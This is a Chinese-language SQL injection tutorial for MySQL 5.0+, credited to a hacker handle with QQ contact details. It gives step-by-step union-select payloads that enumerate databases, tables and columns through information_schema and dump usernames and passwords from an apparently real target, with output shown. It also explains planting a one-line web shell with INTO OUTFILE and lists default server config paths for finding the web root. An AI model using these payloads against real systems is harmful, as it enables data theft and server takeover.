-------------------------------------------------------------------------------------------------------------

MYSQL数据库的注入相对于MSSQL来说就简单的多了。常搭配的脚本也是只有

PHP，JSP等。

我们今天主要以MYSQL5.0+版本为主。

函数： database()，user()，version()concat()，group_concat(),hex(),unhex()

Unhex(hex(user())

Load_file(), into outfile ..

MYSQL注入主要是利用他的一个虚拟库：information_schema

Huc数据：users username,paaswrod

Select Column_name from information_schema.columns where table_name=’users’and table_schema=’huc’

Information_schema这个数据库下有三个表,tables,columns,schemata分别存放了各个数据库的，表名、列名、数据库名。

MYSQL 这个数据库存下的user表下的，host，user，password字段存放了数据库的所有主机地址、帐号和密码

注入方法和我们以前的access数据库差不多，只是利用的表不一样。

1：确定字段：order by N

2：联合查询：union select

3：爆数据库：

concat(database(),0x3a,user(),0x3a,version())

And 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata

可以实现跨库查询。

4：爆表：

and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()—

bumen,diaocha,iplist,ipone,leibie,schoolinfo,user

5：爆字段：［user表］

and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 0x75736572

and table_schema=database()—

id,xinmin,yonhumin,mima,bumen,xueke,yesorno,xinbie,power

6：爆内容：

And 1=2 union select 1,group_concat(xinmin,0x3a,yonhumin,0x3a,mima),3 from user—

And 1=2 union select 1,concat(yonhumin),3 from user limit 0,1—

7：利用Into outfile导出一句话

利用条件：

1：首先要知道网站的物理路径。

2：网站目录要有写的权限。

3：数据库帐号权限要有into outfile的权限

4: 必须没有单引号

And 1=2 union selec 1，’一句话的16进制’，3 into outfile‘网站物理路径’—

Windows iis6.0

c:\\windows\\system32\\inetsrv\\MetaBase.xml可以获取网站配置信息了

apache:

如果采用RPM包安装，安装路径应在/etc/httpd目录下

apache配置文件:/etc/httpd/conf/httpd.conf

Apache模块路径：/usr/sbin/apachectl

web目录:/var/www/html

如果采用源代码安装，一般默认安装在/usr/local/apache2目录下

php:

如果采用RPM包安装，安装路径应在/etc/目录下

php的配置文件:/etc/php.ini

如果采用源代码安装，一般默认安装在/usr/local/lib目录下

php配置文件: /usr/local/lib/php.ini

或/usr/local/php/etc/php.ini

mysql:

如果采用RPM包安装，安装路径应在/usr/share/mysql目录下

mysqldump文件位置：/usr/bin/mysqldump

mysqli配置文件:

/etc/my.cnf或/usr/share/mysql/my.cnf

mysql数据目录在/var/lib/mysql目录下

如果采用源代码安装，一般默认安装在/usr/local/mysql目录下

本次mysql注入讲解：Snow狼

QQ:2942953950

群号码：582103166

官方网站：http://shenwolf.wap.zhanqunabc.cn/

谢谢观看